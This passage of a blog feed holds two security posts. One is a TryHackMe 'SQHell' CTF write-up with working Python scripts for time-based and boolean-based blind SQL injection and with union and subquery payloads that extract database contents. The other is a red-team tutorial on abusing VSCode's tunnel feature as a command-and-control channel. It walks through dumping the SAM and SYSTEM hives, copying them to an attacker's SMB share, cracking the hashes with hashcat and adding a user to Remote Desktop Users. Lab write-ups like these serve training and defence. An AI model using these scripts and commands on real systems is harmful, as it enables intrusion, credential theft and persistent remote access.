)</p><pre>┌──(root㉿Q540VJ)-[~/Desktop/THM/SQHell]<br>└─# nano SQhell2.py</pre><pre>import requests<br>import time<br>import string<br><br>server = &quot;Target-IP&quot;  # IP or server name<br><br># Function to send the request and check the result<br>def get_result(payload, sleep_time=3, retries=3):<br>    url = f&quot;http://{server}&quot;<br>    headers = {&#39;X-Forwarded-For&#39;: payload}<br>    success_count = 0<br>    for _ in range(retries):<br>        try:<br>            start = time.time()<br>            response = requests.get(url, headers=headers, timeout=sleep_time + 3)<br>            end = time.time()<br>            if end - start &gt;= sleep_time - 0.5:  # Slight flexibility for network delay<br>                success_count += 1<br>        except requests.exceptions.RequestException:<br>            pass<br><br>    # Majority voting - return True if at least half the attempts succeed<br>    return success_count &gt;= (retries // 2 + 1)<br><br><br>## 1. Find Table Names of CurrentDB<br>table_names = []<br>for table_index in range(0, 10):<br>    table_name = &quot;&quot;<br>    i = 1<br>    while True:<br>        found = False<br>        for char in string.printable:<br>            if char in (&quot;&#39;&quot;, &#39;\\&#39;):  # Skip problematic characters<br>                continue<br>            payload = f&quot;1&#39; AND (SELECT sleep(3) FROM (SELECT table_name FROM information_schema.tables WHERE table_schema = database() LIMIT {table_index},1) AS tbl WHERE ASCII(SUBSTR(tbl.table_name,{i},1))={ord(char)}); --++&quot;<br>            if get_result(payload):<br>                table_name += char<br>                print(f&quot;Finding Table[{table_index}]: {table_name}&quot;, end=&quot;\r&quot;)<br>                i += 1<br>                found = True<br>                break<br>        if not found:<br>            break<br>    if table_name:<br>        table_names.append(table_name)<br>    else:<br>        break<br>print(f&quot;\nTables: {table_names}&quot;)<br><br><br># 2. Find Column Names for Each Table<br>columns = {}<br>for table in table_names:<br>    columns[table] = []<br>    for col_index in range(0, 10):<br>        column_name = &quot;&quot;<br>        i = 1<br>        while True:<br>            found = False<br>            for char in string.printable:<br>                if char in (&quot;&#39;&quot;, &#39;\\&#39;):  # Skip problematic characters<br>                    continue<br>                payload = f&quot;1&#39; AND (SELECT sleep(3) FROM (SELECT column_name FROM information_schema.columns WHERE table_name=&#39;{table}&#39; LIMIT {col_index},1) AS col WHERE ASCII(SUBSTR(col.column_name,{i},1))={ord(char)}); --+&quot;<br>                if get_result(payload):<br>                    column_name += char<br>                    print(f&quot;Finding Column[{col_index}] in Table[{table}]: {column_name}&quot;, end=&quot;\r&quot;)<br>                    i += 1<br>                    found = True<br>                    break<br>            if not found:<br>                break<br>        if column_name:<br>            columns[table].append(column_name)<br>        else:<br>            break<br>print(f&quot;\nColumns: {columns}&quot;)</pre><pre>┌──(root㉿Q540VJ)-[~/Desktop/THM/SQHell]<br>└─# python3 SQhell2.py </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*snPKOhrIUyhS29HxrOB4rQ.png" /></figure><p>After getting the Table and Colunm name of the Current DB, we are going to get Flag so I wrote simple python script to recieve content of the Flag2.</p><pre>┌──(root㉿Q540VJ)-[~/Desktop/THM/SQHell]<br>└─# nano SQhell2_Flag.py </pre><pre>import requests<br>import time<br>import string<br><br>server = &quot;Target-IP&quot;  # IP or server name<br>flag = &quot;&quot;<br>loop = 1<br>url = f&quot;http://{server}&quot;<br><br># Function to send the request and check the result<br>def get_result(payload):<br>    headers = {&#39;X-Forwarded-For&#39;: payload}<br>    try:<br>        start = time.time()<br>        response = requests.get(url, headers=headers, timeout=5)<br>        end = time.time()<br>        return end - start &gt;= 2  # Return whether the response took longer than 2 seconds<br>    except requests.exceptions.RequestException:<br>        return False  # If request fails, return False<br><br># Main loop to extract the flag<br>while chr(125) not in flag:<br>    for char in string.printable:<br>        if char in (&quot;&#39;&quot;, &#39;\\&#39;):  # Skip problematic characters<br>            continue<br>        payload = f&quot;1&#39; AND (SELECT sleep(2) FROM flag WHERE ASCII(SUBSTR(flag,{loop},1)) = {ord(char)}); --+&quot;<br>        <br>        if get_result(payload):<br>            flag += char<br>            loop += 1<br>            print(f&quot;Finding Flag: {flag}&quot;, end=&quot;\r&quot;)<br>            break<br><br>print(f&quot;\nFlag found: {flag}&quot;)</pre><p>Now Run the script with python3 command (this take some time be patience 😊)</p><pre>┌──(root㉿Q540VJ)-[~/Desktop/THM/SQHell]<br>└─# python3 SQhell2_Flag.py<br>Finding Flag: &lt;FLAG&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IHI4IpMvqXaXH7fI2yL38g.png" /></figure><h3>Flag 3: Blind/Boolean Based SQLi</h3><p>Now to get third flag, We previously enumerate the direcetories and there are two interesting Paths register and register/user-check</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VSwX_jmrCFyWhGPzOVUpRQ.png" /></figure><p>In register directory nothing particularly interesting but for the subdirectoy of Register thing getting interesting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KShXeBPkBVOywFYI0-Dq2g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fZjOdPKnPUsfCos6d7IwcQ.png" /></figure><p>When I send request it gives me an error that says Missing username parameter so I modify the url path like this.</p><pre>GET /register/user-check?username=1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QeRo0FdupWtIv36c1Z4wcA.png" /></figure><p>as a result Response give true message that means we can try <strong>Boolean based SQLi method</strong>. For Manual exploaitation I am going to use Burpsuite.</p><pre>#This query find the length of the current Database <br>/user-check?username=admin&#39; AND (length(database())) = 1 --+<br>#Response<br>{&quot;available&quot;:true}</pre><p>Change the number each time you send the request until you get FALSEresponse. The number that gives false response is your current Database character count.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wrsZ6qSR28AgcQI5olP8FQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TKIrw-tW0EH55ppaf0h_DQ.png" /></figure><p>This tells us the length of the name of the database is eight characters. Now we want to find what those eight characters are. Here comes the tricky part we know the DB has 8 characters but how we determine which character is correct. Message gives the available objects from DB following to this we need look for FALSE Responses only.</p><p>To use this query you need <a href="https://www.asciitable.com/"><strong>ASCII table</strong></a> to check each ascii value to get a character, as for the data_offset you need to change</p><pre>#This query use ASCII code to retrieve Symbols 1 at the time <br>GET /register/user-check?username=admin&#39; AND (ascii(substr((select database()),Data_offset,1))) = &#39;ascii values&#39;--+</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7d20K1-8-fVMi0LEwJVoTg.png" /></figure><p>This is the manual Exploitation method for the Automated method first I show<strong> Burpsuite Intruder</strong> method and the more <strong>Fun method! 😁</strong></p><p>First send the Request to intruder and select payload as<strong> Cluster Bomb </strong>and configure payloads for both data_offset and ascii_value</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HINvqTdakOrsV_FI6SdYtg.png" /></figure><p>For the payload of Ascii_value I set <strong>48–126</strong> because in ASCII table are Readable symbols interval.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QQOu-qLoLD8kiXWsDAFDlQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j5eH3FVx1LMXmL2L-WgrCg.png" /></figure><p>Now According to the result <strong>115 113 104 101 108 108 95 51 </strong>Look for the Character in Acsii table you get Current DB name<strong>sqhell_3 </strong>following like this you need to find the Table names and Column name.</p><p>Now the<strong> Fun Method </strong>You can use burpsuite intruder but it was such a pain for me so I write simple Python script to get CurrentDB table and column</p><pre>┌──(root㉿Q540VJ)-[~/Desktop/THM/SQHell]<br>└─# nano SQhell3.py</pre><pre>import requests<br>import string<br><br>server = &quot;Target-IP&quot;  # IP OR SERVERNAME <br>def get_result(payload):<br>    url = f&quot;http://{server}/register/user-check?username=admin&#39; AND ({payload}); --+&quot;<br>    response = requests.get(url)<br>    return &#39;false&#39; in response.text<br># 1. Find Current Database Name<br>db_name = &quot;&quot;<br>i = 1<br>while True:<br>    found = False<br>    for char in string.printable:<br>        if char in (&quot;&#39;&quot;, &#39;\\&#39;):  # Skip problematic characters<br>            continue<br>        payload = f&quot;ASCII(SUBSTR(DATABASE(),{i},1))={ord(char)}&quot;<br>        if get_result(payload):<br>            db_name += char<br>            print(f&quot;Current DB: {db_name}&quot;, end=&quot;\r&quot;)<br>            i += 1<br>            found = True<br>            break<br>    if not found:<br>        break<br>print(f&quot;\nDatabase Name: {db_name}&quot;)<br># 2. Find Table Names<br>table_names = []<br>for table_index in range(0, 10):  # Adjust range if you expect more tables<br>    table_name = &quot;&quot;<br>    i = 1<br>    while True:<br>        found = False<br>        for char in string.printable:<br>            if char in (&quot;&#39;&quot;, &#39;\\&#39;):  # Skip problematic characters<br>                continue<br>            payload = f&quot;ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=&#39;{db_name}&#39; LIMIT {table_index},1),{i},1))={ord(char)}&quot;<br>            if get_result(payload):<br>                table_name += char<br>                print(f&quot;Finding Table[{table_index}]: {table_name}&quot;, end=&quot;\r&quot;)<br>                i += 1<br>                found = True<br>                break<br>        if not found:<br>            break<br>    if table_name:<br>        table_names.append(table_name)<br>    else:<br>        break<br>print(f&quot;\nTables: {table_names}&quot;)<br># 3. Find Column Names for Each Table<br>columns = {}<br>for table in table_names:<br>    columns[table] = []<br>    for col_index in range(0, 10):  # Adjust range if you expect more columns<br>        column_name = &quot;&quot;<br>        i = 1<br>        while True:<br>            found = False<br>            for char in string.printable:<br>                if char in (&quot;&#39;&quot;, &#39;\\&#39;):  # Skip problematic characters<br>                    continue<br>                payload = f&quot;ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name=&#39;{table}&#39; LIMIT {col_index},1),{i},1))={ord(char)}&quot;<br>                if get_result(payload):<br>                    column_name += char<br>                    print(f&quot;Finding Column[{col_index}] in Table[{table}]: {column_name}&quot;, end=&quot;\r&quot;)<br>                    i += 1<br>                    found = True<br>                    break<br>            if not found:<br>                break<br>        if column_name:<br>            columns[table].append(column_name)<br>        else:<br>            break<br>print(f&quot;\nColumns: {columns}&quot;)</pre><p>After Saving the code in .py File just simply run with python3 commnad and sit back and relax.</p><pre>┌──(root㉿Q540VJ)-[~/Desktop/THM/SQHell]<br>└─# python3 SQhell3.py</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pWf7DyeZPCvi_-O54JOzRg.png" /></figure><p>Now we Know both Table name and Column of the flag. To Get the flag I again write another python script similar to first one</p><pre>┌──(root㉿Q540VJ)-[~/Desktop/THM/SQHell]<br>└─# nano SQhell3_Flag.py        </pre><pre>import requests<br>import string<br><br>server = &quot;Target-IP&quot; # IP OR SERVERNAME <br>flag = &quot;&quot;<br>loop = 1<br><br>while chr(125) not in flag:<br>    for a in range(48,126):<br>        req = requests.get(&quot;http://&quot; + server + f&quot;/register/user-check?username=admin&#39; AND (ASCII(SUBSTR((SELECT flag FROM sqhell_3.flag),{loop},1))) = &#39;{a}&#39;; --+&quot;)<br>        if &#39;false&#39; in req.text:<br>             flag += chr(a)<br>             loop += 1<br>             print(&quot;Finding Flag: &quot;, flag, end=&quot;\r&quot;)<br>             break<br>print(&quot;Flag found: &quot;, flag)</pre><p>Again save Code in .py file and run with python3 command and take a cup of tea or coffee because it take some time to code to retrive Flag</p><pre>┌──(root㉿Q540VJ)-[~/Desktop/THM/SQHell]<br>└─# python3 SQhell3_Flag.py</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VwQOooS7s-YIuKKAO5vgKg.png" /></figure><h3>Flag 4: Out-of-band SQLi - Subquery</h3><p>Now getting the 4th flag. We go to Posts and click the admin and that send us to /user/ Directory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GvllPM_-ex3zxS8lkJPScQ.png" /></figure><pre>#Target Request<br>GET /user?id=1 HTTP/1.1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zxp7ge4aPvns3f_OnePNMw.png" /></figure><p>Now Intercept the request with <strong>Burpsuite Proxy </strong>and send to the repeater. when you add ‘ to the id it gives an error that means we can use SQLi more specifically Union Based SQLi. First we determine the column count for this I user this query:</p><pre>#Find Collumn count<br>/user?id=1 order by 3--+ #TRUE<br>/user?id=1 order by 4--+ #FALSE</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jIpZtjnL4BYJ85NOGAk0Hg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sYnxKZKJShkaphn3KB8Y9Q.png" /></figure><p>Which number you get an error that decrease by 1 that is equal to column count in case of our task we have 3 column.</p><p>After finding column count, it is time to find writeable columns to retrieve data from. For clear useless information change id to -1 because in DB there is no value starts with negative count that return NULL value. when you see the number that you write in column in response that are writeable columns</p><pre>#This query Finds Writeable columns <br>-1 union select 1,2,3,4--+</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2iR2jMxdRw9L5BRdJbafqQ.png" /></figure><p>We now know both column count and Writeable columns. Time to extract Table name of our current DB.</p><pre>#This query find Table of Current DB<br>-1 union select Table_name,2,null from information_schema.tables where table_schema =database()--+</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mTWvQo3I-lmzEw8Z9J5JBw.png" /></figure><p>Inside of the Users table have username and password but they are completely useless. For this part we need to use subquery and get Union to retrive second query inside of the collumn, in the Hint of this task says <strong>Well, dreams, they feel real while we’re in them right?</strong> that show we need to look for <strong>Out of the Scope.</strong> Here comes the Tricky part we get the request with second ID because in DB there is no user in 2 id but we can recieve request with second ID.</p><pre>#Change ID to 2 <br>GET /user?id=2 HTTP/1.1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QseGuBH1CQaWnHHnfE4Plw.png" /></figure><p>Now This part is little tricky to understand We need to get query inside of the query using Subquery method to get data. We repeat the previous steps but query will be little different.</p><pre>#Find columns of second Request<br>-2 union select &quot;1 order by 4--+&quot;,1,2 from users# :Response - TRUE<br>-2 union select &quot;1 order by 5--+&quot;,1,2 from users# :Response - FALSE</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Twfp_ovgNUzabGqTPVdpXg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8gQPcHk5gtfAqwR7ueRYPw.png" /></figure><p>We have 4 columns now, Check the writeable columns with this query.</p><pre>#Query Finds Writeable columns<br>-2 union select &quot;1 union select 1,2,3,4--+&quot;,1,2 from users#</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eXQVK2xZXJcHycAt_kSFCA.png" /></figure><p>Now we know both column count and Writeable colum it is time to get Tables of Current DataBase.</p><pre>#Query Finds Tables of CurrentDB<br>-2 union select &quot;1 union select 1,table_name,3,4 from information_schema.tables where table_schema = database()--+&quot;,1,2 from users</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y2TcZqO-hqVzLjNkLzJIQA.png" /></figure><p>Our flag is stored inside of the flag table but we don’t know the columns of the table to get the columns of table use this query:</p><pre>#Query Finds Column of CurrentDB<br>-2 union select &quot;1 union select 1,column_name,3,4 from information_schema.columns where table_schema = database() and table_name=&#39;flag&#39;--+&quot;,1,2 from users#</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hZln6vO_yYtqwPB6hqQKmA.png" /></figure><p>It is time to Extract Our Flag from Table.</p><pre>#Query Extract data from Table<br>-2 union select &quot;1 union select 1,flag,3,4 from flag--+&quot;,1,2 from users#</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A2N8b3K6uVoaF9SiVyIomQ.png" /></figure><h3>Flag 5: In-Band/Union Based SQLi</h3><p>The Lastly Our 5th Flag. First we go the posts and Read.more and that send us to post/ directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P4ZkUQtEIkJbY5YXjzuRiw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yHxcBd2jvhLjGRXEJm0Hpg.png" /></figure><pre>#Target Request<br>GET /post?id=1&#39; HTTP/1.1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Tbi-DRiH7w_weumx3nbtYg.png" /></figure><p>We are Going to Follow steps in previous task but with Little different. in this task we get one row at the time for cheack different rows we going to use Limit fuction Retrieve data</p><p>Finding Column count:</p><pre>#This query find the column count<br>1 order by 4--+ #True<br>1 order by 5--+ #False</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qZ8OHk8e-rdS3pG47BLVPA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H7ypvEBAKoNruD2evb8hvA.png" /></figure><p>Finding Writeable columns</p><pre>#This query find Writeable columns<br>-1 union select 1,2,3,4--+</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g2reXT0UkYW-yRgpMkcl9A.png" /></figure><p>Finding Tables of Current Data base</p><pre>#Data_offset represent Rows in table or column <br>-1 Union select null,null,table_name,null from information_schema.tables where table_schema = database() limit data_offset,1--+<br>##Data_offset=0 First Row<br>##Data_offset=1 Second Row</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MvfdG4rEnZrvDzTCN5mlHQ.png" /></figure><p>Finding the Columns of Current Table and Database.</p><pre>#Change data_offset to 1 for look second Row<br>-1 Union select null,null,column_name,null from information_schema.columns where table_schema = database() and table_name=&#39;flag&#39; limit data_offset,1--+</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_03r5PzBkYSsutsGeuRNEQ.png" /></figure><p>Now Extract Flag From Table</p><pre>#Query to get Flag 5<br>-1 Union select null,null,flag,null from flag--+</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oa30jtteC9XDtZxS60dohg.png" /></figure><p>Now we have All the flags. <strong>I Hope You Enjoyed it! </strong>For the Automated Exploitation method I could use Sqlmap but I wanted show other ways to do it so <strong>DON’T be Script Kiddies.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/0*EiQCiQIexf8wCmLX.gif" /></figure><p>“If you have any questions or comments, please do not hesitate to write. Have a good days”</p><p><a href="https://www.linkedin.com/in/yusif-yagubzadeh?lipi=urn%3Ali%3Apage%3Ad_flagship3_profile_view_base_contact_details%3Bi2oPthpGTDu3VqhEqqxQww%3D%3D">https://www.linkedin.com/in/yusif-yagubzadeh</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=347f18604e50" width="1" height="1" alt=""><hr><p><a href="https://osintteam.blog/tryhackme-sqhell-347f18604e50">Tryhackme: SQHell</a> was originally published in <a href="https://osintteam.blog/">OSINT Team</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Use VSCode like C2 - Red Team Style]]></title>
            <link>https://osintteam.blog/use-vscode-like-c2-red-team-style-9418da7b682f?source=rss-e00a72c6a6cb------2</link>
            <guid isPermaLink="false">https://medium.com/p/9418da7b682f</guid>
            <category><![CDATA[visual-studio-code]]></category>
            <category><![CDATA[windows-exploitation]]></category>
            <category><![CDATA[command-and-control]]></category>
            <category><![CDATA[advancedpersistentthreat]]></category>
            <category><![CDATA[attack-vector]]></category>
            <dc:creator><![CDATA[Yusif Yagubzade]]></dc:creator>
            <pubDate>Sun, 19 Jan 2025 10:12:00 GMT</pubDate>
            <atom:updated>2025-01-20T00:55:39.643Z</atom:updated>
            <content:encoded><![CDATA[<p>Today we will take a look at How to Use Visual Studio Code like a Command&amp;Control using VScode’s binary <strong>code.exe</strong> and <strong>devtunnels. </strong>My purpose in sharing this Article is for <strong>Educational purposes only.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*JunaIcWFXZ8TRrOo" /></figure><p>This threat actor is one of the <strong>advanced persistent threat (APT) group</strong> that carries out cyberespionage attacks which are Chinese used. You can read it in this Article.</p><p><a href="https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/">Chinese APT Abuses VSCode to Target Government in Asia</a></p><p>This threat actor used Visual Studio Code’s embedded reverse shell feature to gain a foothold in target networks. This is a relatively new technique that <a href="https://medium.com/@truvis.thornton/visual-studio-code-embedded-reverse-shell-and-how-to-block-create-sentinel-detection-and-add-e864ebafaf6d">a security researcher discovered</a> in 2023. But How does this attack works?</p><p>To abuse Visual Studio Code for malicious purposes, an attacker can use the portable version of code.exe (the executable file for Visual Studio Code), or an already installed version of the software. By running the command <strong>code.exe tunnel</strong>, an attacker receives a link that requires them to log into GitHub with their own account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*mo8jE3dhWNy31_hL.png" /></figure><p>In Visual Studio Code’s Documentation, VScode users can use <a href="https://code.visualstudio.com/docs/remote/tunnels"><strong>Remote — Tunnels </strong></a>extension lets you connect to a remote machine, like a desktop PC or virtual machine (VM), via a secure tunnel. You can connect to that machine from a VS Code client anywhere, without the requirement of SSH.</p><p>So what do we have here? VSCode is capable of establishing a connection to a remote system. Using an official Microsoft domain <a href="https://vscode.dev./">https://vscode.dev.</a> without catched by Antivirus software’s.</p><p>As an <a href="https://en.wikipedia.org/wiki/Proof_of_concept"><strong>Proof of concept (POC)</strong></a>, I am going to demonstra this Attack technique on Virtual Windows 10 pro machine to show its works. Now Let get into it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*PyKjzbgYOlimHCjP.gif" /></figure><p>Fistly, we need to make sure that Target system have code.exe binary, most Users had VSCode Installed on their Operating systems but you can use different attack vectors to install remotely to do this you can check this article made by <a href="https://badoption.eu/blog/2023/01/31/code_c2.html">PfiatDe.</a> But I already install VSCode on my VM.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hw3GHiXPdaPicbKvOypcrg.png" /></figure><p>And now we need to run code.exe tunnel parametr in real case, you need get Reverse shell to the system for the sake of the demonstration I login with SSH to system. If you don’t want that check my other Article <a href="https://medium.com/the-first-digit/backdooring-a-windows-desktop-shortcut-e19aa78c9c0b"><strong>How to Backdoor Windows Desktop Shortcut.</strong></a></p><pre>┌──(root㉿Ghost0xFF)-[/home/kali/]<br>└─# ssh &#39;Username&#39;@&#39;TargetIP&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/834/1*LJr7WW8UyRUbv_BwaOobXw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qJIe2l8eLMK2C897A8KI0g.png" /></figure><p>It is time to use code.exe tunnel parametr connect official Microsoft domain <a href="https://vscode.dev./">https://vscode.dev.</a> communication itself is going to <a href="https://global.rel.tunnels.api.visualstudio.com/">https://global.rel.tunnels.api.visualstudio.com</a> over WebSockets.</p><pre>#Command Run VScode tunnel fuction<br>C:\Users\Phantom&gt; code tunnel</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GpfRJsQfhbcU6HB35xGo5Q.png" /></figure><p>When you run this code you will see a Github login link and a code, Open Github login link enter your Github account and given code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0SMyuVVufeTnEt1zJrj4vA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*WCjF6W9Z_wchAy6LTNI-5Q.png" /></figure><h4>Note: To use this Attack vecktor you need a Github account.</h4><p>After You Login your account Activate device and enter the given code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*biz6HyrNzVHT5HDb3rMLIw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IYfNUtnf8Vnfn0kZcP2ToA.png" /></figure><p>Now give Authorization to VScode this activate a Websocket in your Web browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*QXj-qUOYWE54ri_EI_1U-g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*aQKc-3PfWqwYRq1HFEsdrA.png" /></figure><p>Now Look at the Terminal it gives you an other link after opennig the link it runs Visual Studio Code in your Browser as a WEB application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ff92DREX8pHeD_cHCnMZmg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jHJMMzpPDc872QbNDsLA1Q.png" /></figure><p>After selecting application, you willrecieve a message that ask your permission to use Remote Tunnels extention to connect the Target VM.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ox0jkfxt6T0z4sGz6qFuxg.png" /></figure><p>Then Repeat the Authentication proccess Again in Web application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xqEVU_pK_2L9DrBSeNPNDw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/977/1*6fvVfb2S4sbSUPkoNvLsaA.png" /></figure><p>Complete the Authentication proccess check the Terminal again you’ll see that a Session created on Target Windows system</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HJkR11_n8gS-T9ye3aeliA.png" /></figure><p>It asks another Authorization to Trust this Publisher go and allow it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8FYinApKI_Lqz-sOHOQZxQ.png" /></figure><p>And Voilà. We successfully gain Access to the Target’s all File system via VSCode.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*viewrV8pk2K5UprnqIqSlA.png" /></figure><p>You can do whatever you want that is the all this Threat Actor do. <strong>But to make it more Fun! </strong>I am going to get an system user’s Password and connect through a RDP. The One of the best part of VSCode that we can access to terminal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gLTxjlRgRCB5VgDe4NGZGA.png" /></figure><p>Now we know that we can use the terminal I am going to get SAM and SYSTEM regisytery file which are The Windows System store their User credential Hashes in this Registery files. To do this first I am going to save the content of this files to different files with the help of reg.exe binary.</p><pre>#Save SAM as File named sam<br>PS C:\&gt; reg.exe save HKLM\SAM sam<br>#Save SYSTEM as File named system<br>PS C:\&gt; reg.exe save HKLM\SYSTEM system</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K_LLd0obGC-HOIeCZMW4jg.png" /></figure><p>Transfer this files to my local system I will going to use Impacket’s SMB server on My Kali machine.</p><pre>┌──(root㉿Ghost0xFF)-[/home/kali/Desktop]<br>└─# impacket-smbserver &#39;smbfolder&#39; &#39;Folder-location&#39; </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-GpcRN85FQkq0z_fSxJYrw.png" /></figure><p><strong>NOTE: </strong><strong><em>SMBserver (if you get an error use -smb2support parameter).</em></strong></p><p>To Transfer files to Our local machine use this commands.</p><pre>#Command transfer SAM file to kali smbfolder<br>PS C:\&gt; copy sam \\&#39;Local-IP&#39;\&#39;Smbfolder&#39;\<br>#Command transfer SYSTEM file to kali smbfolder<br>PS C:\&gt; copy system \\&#39;Local-IP&#39;\&#39;Smbfolder&#39;\</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*BzPSA0meWvUbciGSGVhTAg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fQH4FrzE7jX92y4yzTZRmQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*mZdrQcVO8Z7xIk09oLnfTA.png" /></figure><p>Now is the time to Extract the Hashes form this file, for this I use Creddump7 tool you can get it in this repositorty</p><p><a href="https://github.com/Tib3rius/creddump7">GitHub - Tib3rius/creddump7</a></p><pre>┌──(root㉿Ghost0xFF)-[/opt/Hack-tool]<br>└─# git clone https://github.com/Tib3rius/creddump7</pre><p>Move SAM and SYSTEM file into tool repo folderand use pwndump.py to extract User’s Hashes.</p><pre>┌──(root㉿Ghost0xFF)-[/opt/Hack-tool/creddump7]<br>└─# python3 pwdump.py system sam</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*thxYIyr1GVO7t6ru7msGKQ.png" /></figure><p>After Extracting User hashes we need to crack the hashes, I use Hashcat tool but you can use different alternatives.</p><pre>┌──(root㉿Ghost0xFF)-[/opt/Hack-tool/creddump7]<br>└─# hashcat -m 1000 --force &#39;User-hash&#39; /usr/share/wordlists/rockyou.txt </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XpJsutoHdHE8Nbc111AHDg.png" /></figure><p>It takes some time but now, We have the System User’s Password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aECPJ2ldHM7tyV4LDSxDlQ.png" /></figure><p>Before we connect to RDP, we need to add our user to Remote Desktop Users Group, for this Write this command on Powershell.</p><pre>PS C:\&gt; Add-LocalGroupMember -Group &quot;Remote Desktop Users&quot; -Member &quot;Phantom&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-jwP6zXGcEwNsc0-aNhEfQ.png" /></figure><p>Now Connect with RDP, I use xfreerdp tool but you can use alternative tool.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n0ORC4UlcJFxGkeOrKF69A.png" /></figure><p>And That is it, Now we are In the system as a System User via RDP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*XXYmvq34Vz0HL1fV.gif" /></figure><p>“If you have any questions or comments, please do not hesitate to write. Have a good days”</p><p><a href="https://www.linkedin.com/in/yusif-yagubzadeh/">http://linkedin.com/in/yusif-yagubzadeh/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9418da7b682f" width="1" height="1" alt=""><hr><p><a 